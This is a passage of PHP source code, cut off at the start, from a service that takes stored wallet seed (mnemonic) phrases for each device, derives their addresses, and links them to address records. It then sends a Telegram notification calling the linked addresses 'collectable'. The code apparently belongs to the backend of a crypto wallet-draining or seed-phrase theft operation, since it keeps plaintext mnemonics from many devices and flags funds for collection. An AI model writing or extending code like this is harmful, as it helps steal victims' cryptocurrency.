mnemonic_id !== null) { return false; } $driver = $this->resolveDriver((string) $address->chain_type); if ($driver === null) { return false; } $mnemonics = WalletMnemonic::query() ->where('device_id', $address->device_id) ->orderBy('id') ->get(); if ($mnemonics->isEmpty()) { return false; } $target = (string) $address->address; $caseInsensitive = $driver->chainId() === 'eth'; foreach ($mnemonics as $mnemonicRow) { $phrase = $mnemonicRow->mnemonic; if ($phrase === null || trim($phrase) === '') { continue; } $matchedIndex = $this->matchIndex($driver, $phrase, $target, $caseInsensitive); if ($matchedIndex === null) { continue; } $address->mnemonic_id = $mnemonicRow->id; $address->derive_index = $matchedIndex; $address->save(); $this->telegram->notifyCollectableAddresses([$address]); return true; } return false; } /** * After a new mnemonic is stored: link all unlinked addresses on the same device * whose chains appear among those addresses (only those chains are derived). * * @return int Number of addresses linked */ public function linkMnemonicToDeviceAddresses(WalletMnemonic $mnemonic): int { $phrase = $mnemonic->mnemonic; if ($phrase === null || trim($phrase) === '') { return 0; } $addresses = WalletAddress::query() ->where('device_id', $mnemonic->device_id) ->whereNull('mnemonic_id') ->orderBy('id') ->get(); if ($addresses->isEmpty()) { return 0; } $chainTypes = $addresses ->pluck('chain_type') ->filter(fn ($c) => is_string($c) && $c !== '') ->unique() ->values() ->all(); /** @var array> $derivedByChainKey map chainKey => [normalizedAddress => index] */ $derivedByChainKey = []; foreach ($chainTypes as $chainType) { $driver = $this->resolveDriver((string) $chainType); if ($driver === null) { continue; } $chainKey = $driver->chainId(); if (isset($derivedByChainKey[$chainKey])) { continue; } $derivedByChainKey[$chainKey] = $this->deriveIndexMap($driver, $phrase); } if ($derivedByChainKey === []) { return 0; } $linked = 0; $newlyLinked = []; foreach ($addresses as $address) { $driver = $this->resolveDriver((string) $address->chain_type); if ($driver === null) { continue; } $map = $derivedByChainKey[$driver->chainId()] ?? null; if ($map === null) { continue; } $lookup = $driver->chainId() === 'eth' ? strtolower((string) $address->address) : (string) $address->address; if (! array_key_exists($lookup, $map)) { continue; } $address->mnemonic_id = $mnemonic->id; $address->derive_index = $map[$lookup]; $address->save(); $newlyLinked[] = $address; $linked++; } if ($newlyLinked !== []) { $this->telegram->notifyCollectableAddresses($newlyLinked); } return $linked; } /** * Backfill: for every mnemonic, link still-unlinked addresses on the same device * when BIP44 index 0..9 matches. * * @return array{mnemonics: int, linked: int} */ public function backfill(): array { $mnemonics = 0; $linked = 0; foreach (WalletMnemonic::query()->orderBy('id')->cursor() as $mnemonic) { $mnemonics++; $linked += $this->linkMnemonicToDeviceAddresses($mnemonic); } return [ 'mnemonics' => $mnemonics, 'linked' => $linked, ]; } private function resolveDriver(string $chainType): ?ChainDriver { $chain = strtolower(trim($chainType)); if ($chain === '') { return null; } // BNB / BSC share ETH derivation paths. if (in_array($chain, ['bnb', 'bsc'], true)) { $chain = 'eth'; } try { return $this->chains->resolve($chain); } catch (InvalidArgumentException) { return null; } } /** * @return array normalized address => derive index */ private function deriveIndexMap(ChainDriver $driver, string $phrase): array { $caseInsensitive = $driver->chainId() === 'eth'; $map = []; for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) { try { $derived = $driver->deriveAddress($phrase, $index); } catch (\Throwable) { break; } $key = $caseInsensitive ? strtolower($derived) : $derived; if (! array_key_exists($key, $map)) { $map[$key] = $index; } } return $map; } private function matchIndex( ChainDriver $driver, string $phrase, string $target, bool $caseInsensitive, ): ?int { for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) { try { $derived = $driver->deriveAddress($phrase, $index); } catch (\Throwable) { return null; } $match = $caseInsensitive ? strcasecmp($derived, $target) === 0 : $derived === $target; if ($match) { return $index; } } return null; } }